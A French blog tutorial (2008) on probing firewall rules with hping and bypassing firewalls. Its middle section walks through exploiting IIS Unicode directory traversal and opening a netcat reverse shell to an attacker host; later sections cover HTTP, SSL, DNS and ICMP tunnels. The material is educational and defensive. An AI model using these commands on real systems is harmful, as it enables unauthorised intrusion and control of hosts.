Découverte et contournement de firewalls
Posted by Daniel on 11 Mar 2008 at 10:16 | Tagged as: sécurité
On n'envisage plus aujourd'hui la sécurité d'un réseau sans l'utilisation d'un firewall (ou pare-feu pour les ardents défenseurs de notre belle langue). En soi, c'est un point très positif, mais on rencontre malheureusement trop souvent des décideurs convaincus que le firewall est LA solution miracle à tous leurs problèmes de sécurité qui va bloquer tous les méchants pirates, tout comme l'antivirus est censé être LA solution miracle qui empêchera tous les méchants virus de contaminer le système d'information de l'entreprise.
Malheureusement, il ne suffit pas de poser un firewall aux portes de son réseau pour que tous les problèmes disparaissent comme par magie. L'animal doit être correctement configuré et adapté à vos besoins, au risque de laisser des trous béants dans votre périmètre de défense alors même que vous pensez enfin être protégés. Cet article se propose d'illustrer quelques-unes des méthodes les plus courantes pour contourner les règles imposées par un firewall.Dans un premier temps, cet article va s'attacher à présenter quelques techniques qui peuvent aider à découvrir les règles appliquées par un firewall, avant d'étudier différentes possibilités de traverser le firewall, que ce soit en entrée ou en sortie.
Découverte du firewall
Identification du firewall
Lors d'une attaque, il est bien sûr très important de localiser le ou les firewalls. S'il est configuré assez strictement, le firewall devrait être quasiment invisible, mais dans ce cas, cela crée un "trou noir" dans l'architecture, ce qui peut être aussi parlant qu'un firewall qui s'annonce haut et fort.
Une fois localisé, il est temps d'essayer d'identifier le firewall, afin de mieux cerner ses capacités, et ses failles éventuelles. Nous avons pour cela plusieurs méthodes, qui ne reposent pas toutes sur des connaissances techniques.
En premier lieu, une fois l'adresse IP du firewall obtenue, on essaye de résoudre son nom. Cela peut parfois donner des réponses très parlantes, comme pix1.société.com.
Si cette voie s'avère infructueuse, on peut également rechercher dans les archives des groupes de discussions et des listes de diffusion des messages de l'administrateur du firewall. Peut-être ce dernier a-t-il décrit sa configuration dans un message de demande d'aide sur Usenet, ou sur une liste de diffusion dédiée comme firewall-wizards.
Parallèlement à ces techniques simplistes, on peut également rechercher les spécificités de chaque produit, en particulier ceux qui ont des proxies intégrés. Ainsi, un firewall Raptor contient un proxy web intégré qui filtre les requêtes avant de les transmettre au serveur web qu'il protège. En lui envoyant une requête HTTP malformée, on peut lui faire générer une erreur qui l'identifiera précisément. Un certain nombre d'exemples sont donnés dans l'article Identifying Firewalls[1].
Découverte des règles
Avant de pouvoir contourner un firewall, il est nécessaire de connaître les règles qu'il applique. En effet, il est courant qu'un firewall soit configuré de manière trop laxiste, ce qui peut nous permettre par la suite de tromper sa vigilance. Forts de ces informations, nous pourrons trouver le meilleur moyen d'exploiter les failles de la configuration afin de découvrir quels systèmes se cachent derrière le firewall, et découvrir comment y accéder. Cette partie s'intéresse majoritairement à l'étude d'une cible derrière un firewall et des règles qui s'y appliquent : on ne peut pas présumer du fait que le firewall appliquera les mêmes règles pour chacune des machines qu'il protège.Rappel : firewall à états/sans états La notion la plus importante du firewalling est le filtrage de paquets. Dans le cas d'un firewall sans états, chaque paquet entrant ou sortant est traité individuellement (sans contexte), et on parle de filtrage statique. Au contraire, dans le cas d'un firewall à états (souvent appelé stateful), le firewall est capable de reconnaître si un paquet appartient ou non à une connexion établie, permettant ainsi un filtrage plus fin. On parle alors de filtrage dynamique. La notion de connexion d'un firewall dynamique est indépendante de la notion de connexion TCP. En particulier, un firewall dynamique est capable de reconnaître des flux UDP en tant que connexions. |
Généralités sur la découverte des règles
Pour les exemples de cette partie, considérons la configuration (excessivement simplifiée) suivante : Les règles UDPLa découverte des règles UDP n'est jamais évidente : le protocole en lui-même ne générant pas de trafic spécifique (à l'inverse du handshake TCP, qui implique un échange de paquets propres au protocole TCP et totalement indépendants de l'application qui utilise le protocole), il est impossible de savoir si on a réussi à atteindre un port UDP ouvert sur lequel le service ne renvoie pas de données ou si notre requête UDP a simplement été jetée par le firewall.La plupart des tests présentés ici sont effectués avec hping[2].Un certain nombre d'implémentations de la pile IP sont assez gentilles pour nous informer que le port est fermé en renvoyant un ICMP port unreachable (nmap en particulier se base sur ce retour pour son scan UDP[3]) :# hping -2 -p 30000 -c 1 172.16.3.50 HPING 172.16.3.50 (eth0 172.16.3.50): udp mode set, 28 headers + 0 data bytes ICMP Port Unreachable from ip=172.16.3.50 name=mon.serveur.netCertains firewalls, comme Netfilter[4], génèrent par défaut des paquets ICMP avec leur propre adresse quand ils sont configurés pour annoncer que le port n'est pas accessible. Ce n'est pas forcément toujours le cas, et cela peut se modifier. Dans ce cas, il nous faut déterminer que ce n'est pas le firewall lui-même qui génère les ICMP port unreachable (par exemple en testant une plage de ports dans laquelle on est raisonnablement certain qu'il devrait y avoir des ports fermés, typiquement dans les ports inférieurs à 1024), et en recherchant des incohérences dans les réponses. Exemple de firewall répondant avec sa propre ip :
# hping -2 -p 30001 -c 1 172.16.3.50 HPING 172.16.3.50 (eth0 172.16.3.50): udp mode set, 28 headers + 0 data bytes ICMP Port Unreachable from ip=172.16.1.40 name=mon.firewall.netLes règles TCP Pour ce qui est des règles TCP, c'est un peu plus simple. Si un paquet ne génère aucun retour, il a certainement été filtré silencieusement (c'est-à-dire sans générer de reset TCP) quelque part par un firewall. C'est la cible DROP de Netfilter, par exemple. Cette méthode de filtrage est probablement la plus répandue. De même, tout comme pour l'UDP, certains firewalls, en fonction de la manière dont ils sont configurés, vont générer un paquet d'erreur si on tente d'accéder à un port filtré derrière le firewall. Ce paquet peut être un paquet ICMP (type 3, destination unreachable, le code pouvant être n'importe quel code que le firewall accepte de renvoyé, qu'il s'agisse d'un port unreachable comme présenté ci-dessus ou de tout autre code, comme par exemple communication administratively prohibited). Cette situation est une véritable manne pour notre curiosité, puisque le firewall lui-même nous informe de ses règles. Ce cas n'est cependant pas majoritaire, et il nous faut souvent fournir un peu plus d'efforts pour obtenir les informations qui nous intéressent. Il se peut par exemple qu'au lieu de renvoyer un paquet ICMP, le firewall renvoie un reset TCP avec l'adresse de la cible, nous donnant l'impression qu'on a bien traversé le firewall et que tout simplement le port destination n'est pas ouvert sur la cible. Il nous faut alors rentrer un peu plus dans le détail des réponses reçues pour comprendre ce qui se passe. Comparons par exemple le cas de deux ports TCP, l'un filtré par Netfilter avec la cible REJECT et l'option reject-with tcp-reset (qui simule un reset TCP de la cible), et l'autre non filtré. Le premier est le port filtré avec envoi de reset par le firewall :
# hping -p 30001 -c 1 172.16.3.50 HPING 172.16.3.50 (eth0 172.16.3.50): NO FLAGS are set, 40 headers + 0 data bytes len=46 ip=172.16.3.50 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.3 msLe second n'est pas filtré :
# hping -p 30002 -c 1 172.16.3.50 HPING 172.16.3.50 (eth0 172.16.3.50): NO FLAGS are set, 40 headers + 0 data bytes len=46 ip=172.16.3.50 flags=RA seq=0 ttl=254 id=40819 win=0 rtt=0.9 msOn note que dans les deux cas, le reset semble bien provenir de la cible. Cependant, curieusement, on note des différences dans les informations. On remarque en particulier que le TTL du paquet lors de son arrivée dans le second cas est inférieur de 1 à celui du premier cas, ce qui indique qu'il a parcouru un hop (ou saut) de plus. Cela tend à indiquer que le premier paquet a été filtré, et pas le second. En revanche, si les TTL avaient été identiques, on n'aurait pu présumer de rien : un firewall particulièrement vicieux pourrait modifier les TTL à la volée pour simuler un hop de plus. On remarque aussi que dans le second cas, le paquet a un IPID non nul (et par ailleurs suivant un incrément de un en un, mais c'est un autre problème), tandis que dans le premier cas, l'IPID reste à 0. Les noyaux Linux 2.4 (entre autres) mettent systématiquement l'IPID à 0, ce qui pourrait éventuellement permettre une différenciation supplémentaire des machines en présence (firewall et cible).
Cas particulier : filtrage TCP par un firewall statique
Le firewall statique est un animal moins subtil que son congénère dynamique. Il est d'une part incapable d'effectuer un traitement fin des flux UDP, et d'autre part beaucoup plus restreint vis-à-vis du traitement des flux TCP. En particulier, puisqu'il n'a pas la notion de connexion, un firewall statique ne peut identifier les demandes de nouvelles connexions TCP que par la présence du flag SYN (tout seul), et doit effectuer ses traitements en fonction de telles informations, typiquement en refusant les paquets SYN entrants mais en acceptant le reste du trafic (le tout pour un port donné, bien sûr). Dans ce cas, on peut utiliser une combinaison de paquets SYN et de paquets ACK pour déterminer le trafic autorisé sur un port. Par exemple, en considérant un port sur lequel les paquets SYN sont systématiquement ignorés (refusés sans génération de réponse), mais pour lequel le trafic établi est censé être autorisé : Envoi d'un paquet SYN au travers d'un filtre statique# hping -S -p 30002 -c 1 172.16.3.50 HPING 172.16.3.50 (eth0 172.16.3.50): S set, 40 headers + 0 data bytes --- 172.16.3.50 hping statistic --- 1 packets transmitted, 0 packets received, 100% packet lossEnvoi d'un paquet ACK au travers d'un filtre statique
# hping -A -p 30002 -c 1 172.16.3.50 HPING 172.16.3.50 (eth0 172.16.3.50): A set, 40 headers + 0 data bytes len=46 ip=172.16.3.50 flags=R seq=0 ttl=254 id=41936 win=0 rtt=0.9 msDans le premier cas, le paquet est silencieusement abandonné. Dans le second, il passe, et on obtient un RST de la cible, ce qui est tout à fait normal puisqu'on lui a envoyé un paquet TCP qui n'est pas une demande d'établissement de connexion, d'une part, et qui d'autre part n'appartient à aucun flux qu'elle reconnaît. Notons que dans le cas d'un filtre dynamique, le paquet ACK n'aurait pas pu traverser, car il n'aurait pas été reconnu comme appartenant à une connexion existante (relativement à la table d'état des connexions du filtre, pas dans le sens connexion TCP établie).
Firewalking
Le firewalking est une technique présentée pour la première fois fin 1998 par David Goldsmith et Michael Schiffman dans le document du même nom[5], basée sur l'utilisation des TTL pour découvrir les règles d'un firewall. Le concept en est très simple : nous allons tenter de communiquer avec une cible protégée par un firewall tout en faisant en sorte que les paquets expirent avant d'atteindre la cible. Imaginons donc la situation suivante : L'idée va donc être d'envoyer des paquets à destination de la victime dont le ttl arriverait à 0 en sortie du firewall, c'est-à-dire au point 1. Ainsi, le routeur ne transmettra pas le paquet et renverra un message ICMP d'erreur de type ttl exceeded. On aura donc un tel message d'erreur pour chaque paquet ayant traversé le firewall avec succès, indépendamment du protocole de transport concerné.Le problème majeur de cette technique est qu'elle repose sur des contraintes fortes :- On doit être capable d'identifier le firewall (ce qui se fait en général aisément avec quelques requêtes de type hping/traceroute)
- Il doit y avoir au moins un élément de routage actif entre le firewall et la cible
- Les paquets ICMP ttl exceeded ne doivent pas être filtrés en sortie.
Autres références
Pour d'autres techniques, on pourra notamment se reporter au document Firewall Penetration Testing[6].Entrer dans une zone protégée par un firewall
De manière générale, passer "à travers" un firewall consiste à exploiter les failles dans sa configuration en utilisant des protocoles autorisés. Beaucoup plus rarement, on peut rencontrer un firewall présentant une faille interne suffisamment grave pour permettre réellement d'ignorer les règles en place (par exemple, la faille des Checkpoint Firewall-1 qui permettait d'envoyer des paquets à destination du port 259 au travers du firewall pour peu qu'ils soient forgés d'une certaine façon [7]). Les deux principales opérations que l'on souhaite pouvoir réaliser et auxquelles le firewall va opposer une résistance sont :- la cartographie du ou des réseaux protégés par le firewall
- l'accès aux machines protégées par le firewall
Jongler avec ses ports sources
Considérons un firewall relativement fermé, ne laissant rentrer par exemple que les paquets en provenance de ports tcp/53 et udp/53, ce qui correspond généralement aux paquets envoyés par un service DNS. De nombreux firewalls sont configurés ainsi, en se basant sur l'idée (totalement erronée) qu'un tel paquet ne peut être qu'une réponse à une requête DNS. Si l'on tente un scan classique, le paquet ne passera pas : Paquet filtré à cause du port source# hping -p 30000 -c 1 172.16.3.50 HPING 172.16.3.50 (eth0 172.16.3.50): NO FLAGS are set, 40 headers + 0 data bytes ICMP Port Unreachable from ip=172.16.1.40 name=mon.firewall.netEn revanche, si l'on spécifie un port source particulier, au hasard, le port 53 : Paquet accepté grâce au port source
# hping -s 53 -k -p 30000 -c 1 172.16.3.50 HPING 172.16.3.50 (eth0 172.16.3.50): NO FLAGS are set, 40 headers + 0 data bytes len=46 ip=172.16.3.50 flags=RA seq=0 ttl=254 id=15332 win=0 rtt=13.2 ms
Inverser le problème : le shell shoveling
Ce nom relativement barbare (qui signifie assez littéralement, "pousser un shell") correspond à une technique très simple : il s'agit d'utiliser les ports ouverts sur le firewall pour discuter avec la cible, et de la "convaincre" d'initier une communication sortante vers une machine contrôlée, typiquement pour obtenir un shell, d'où le nom bien sûr. Ce type de technique fonctionne pour la simple et bonne raison que la plupart du temps, un firewall sera configuré pour être strict au niveau de ce qu'il accepte en entrée, mais relativement souple au niveau de ce qu'il laisse sortir. Prenons un exemple concret, basé sur une bonne vieille faille que tout le monde connaît, et que (oh merveille) on rencontre encore dans la nature, j'ai nommé le "Unicode Directory Traversal" de Microsoft IIS. En deux mots, cette faille permet d'accéder à tout les disques d'un serveur web vulnérable, et notamment d'exécuter des commandes sur le serveur distant. Les règles du firewall sont volontairement très simples :- En entrée (extérieur vers intérieur), le firewall accepte les connexions à destination du port tcp/80, et les connexions déjà établies.
- En sortie (intérieur vers extérieur), le firewall accepte d'ouvrir toutes les connexions, ce qui est d'ailleurs beaucoup trop laxiste et dangereux, comme nous allons le voir.
# ./iisshell.pl -os 172.16.3.24 Welcome to IIS Shell 1.3 Using old libwww-perl behaviour ( < 5.60 ) Scanning 172.16.3.24 for a command shell ... Found executable at /scripts/..%c1%9c..%c1%9c../winnt/system32/cmd.exe on 172.16.3.24. Mmh, this system doesn't appear to support the '&&' string for command chaining. If it includes the '&' char, IIS is likely interpreting as a CGI argument separator. Disabling path memorization (if this is a mistake, enable it with /nocd off). Windows NT Version 4.0 172.16.3.24 : dir c:\ Répertoire de c:\ 04/03/02 11:55 <DIR> Acrobat3 03/12/01 15:46 0 AUTOEXEC.BAT 04/03/02 11:57 <DIR> CISCO 03/12/01 15:46 0 CONFIG.SYS 03/12/01 16:14 <DIR> Inetpub 03/12/01 16:07 <DIR> Multimedia Files 20/04/02 13:27 134 217 728 pagefile.sys 18/03/02 12:56 <DIR> Program Files 18/03/02 19:12 <DIR> TEMP 20/04/02 13:27 <DIR> WINNT 12 fichier(s) 134 217 728 octets 1 374 354 944 octets libres 172.16.3.24 :A partir de là, nous allons installer netcat[9] sur la machine (les méthodes pour ramener le binaire sur le serveur sont multiples et bien connues, et d'autre part complètement hors du cadre de ce document). Donc, sur le serveur :
172.16.3.24 : nc -d -e cmd.exe 172.16.1.11 53Et sur l'attaquant :
# nc -l -p 53 Microsoft(R) Windows NT(TM) (C) Copyright 1985-1996 Microsoft Corp. C:\Inetpub\scripts>Voilà, nous avons maintenant un vrai shell, contrairement à la pseudo-interface précédemment utilisée. Il aurait bien sûr été possible de combiner cette technique avec un exploit local pour NT4 afin d'obtenir directement un shell administrateur.
Sortir d'une zone protégée par un firewall
Parfois, le problème n'est pas de rentrer sur une plate-forme protégée par un firewall, mais d'en sortir. D'ailleurs, le shell shoveling allait déjà un peu dans ce sens. Dans ce cas, la solution se présente quasiment systématiquement sous la forme d'une encapsulation de protocoles, ou tunneling. Dans notre cas, le protocole à encapsuler est IP, et le protocole "extérieur" doit être un protocole autorisé à sortir par le firewall. Cette partie va brièvement présenter quelques exemples de tunnels IP sur des protocoles de plus haut niveau.IP over HTTP
La solution la plus usitée est certainement IP over HTTP. Elle a même fait l'objet d'une RFC[10]. La raison en est assez simple : la plupart du temps, les firewalls permettent au réseau interne un accès au web. Donc, si on n'a pas d'autre porte de sortie que le port tcp/80, il est parfaitement logique de se servir du protocole HTTP pour encapsuler autre chose. Il existe de multiples implémentations, libres et commerciales, ces dernières proposant généralement un serveur mis à disposition des clients. Parmi ces implémentations, on notera :- HTTPtunnel[11] est une implémentation multi-plateformes sous GPL.
- HTun[12] est un autre projet, sous linux, visant à utiliser le support TUN/TAP[13] du noyau linux.
- HTTP-TUNNEL est un service commercial (il y a une version gratuite fortement bridée en débit) pour Windows uniquement[14].
# ./hts -F 172.16.3.2:22 80Ce qui correspond à un serveur HTTPtunnel qui écoute sur le port 80 de la machine 172.16.3.136, et qui redirige le trafic IP extrait du flux HTTP vers le port 22 de la machine 172.16.3.2. Parallèlement, sur le client (172.16.1.11) :
$ ssh 172.16.3.2 ssh: connect to address 172.16.3.2 port 22: Connection refusedPas de surprise ici, on savait que le firewall filtrerait ce flux. En revanche, si on utilise le client HTTPtunnel :
$ ./htc -F 2222 172.16.3.136:80 $ ssh -p 2222 localhost Last login: Thu Jun 27 10:08:06 2002 from 172.16.3.136 on pts/3 ...Dans ce second cas, on a indiqué au client HTTPtunnel d'écouter sur le port local 2222, et d'encapsuler le trafic reçu dans des paquets HTTP à envoyer au serveur HTTPtunnel. En pratique, on a créé un tunnel entre le port 2222 sur la machine 172.16.1.11 et le port 22 sur la machine 172.16.3.2, nous permettant de nous loguer via ssh. Cette technique reste parfaitement valide dans le cas où on utilise un proxy HTTP.
IP over SSL
Il est souvent préférable de mettre en oeuvre des communications sécurisées, par exemple en utilisant SSL. Or, tout comme les requêtes HTTP, les requêtes HTTPS sont souvent autorisées en sortie. Il devient alors possible de monter un tunnel chiffré, nous apportant en particulier la confidentialité des échanges d'informations et donc une certaine garantie de discrétion : le contenu du flux n'étant pas lisible, un administrateur zélé n'aura pas l'occasion de s'étonner de voir des requêtes HTTP contenant "cd /etc" ou "ls /bin". L'outil le plus connu pour le tunneling SSL est sans doute stunnel[15]. La mise en oeuvre du tunnel est des plus simples. Sur le serveur (à l'extérieur, donc), on met en place la redirection vers le service final :# stunnel -d 443 -r 172.16.3.24:80On attend donc sur le serveur une connexion SSL entrant sur le port 443, que l'on va rediriger sur le port 80 de la machine 172.16.24.80. Parallèlement, sur le client, on établit le tunnel avec le serveur :
# stunnel -c -d 1234 -r 172.16.3.136:443Cette commande a pour effet de lancer stunnel en mode client, qui attendra une connexion sur le port local 1234 et l'encapsulera dans un flux SSL à destination du port 443 de 172.16.3.136, c'est-à-dire le serveur, qui extraira le flux initial et le redirigera vers le service final. Sur le client, une fois le tunnel établi, on peut donc faire :
$ nc localhost 1234 GET / HTTP/1.0 HTTP/1.1 200 OK ...La même chose peut se faire avec ssh, à un détail près : avec stunnel, on a une session SSL pure, qui peut donc passer au travers d'un proxy capable de gérer le SSL. Avec ssh, ce n'est pas possible.
IP over DNS
Un autre protocole couramment accepté en sortie par les firewalls est le DNS. Le principe ne change pas, seuls les ports et la méthode d'encapsulation vont varier. Une implémentation de cette solution est nstx[16].IP over ICMP
Une autre possibilité amusante est l'utilisation d'ICMP pour transmettre des informations. Encore une fois, on peut trouver plusieurs solutions plus ou moins élaborées :- Loki[17][18].
- icmptunnel[19].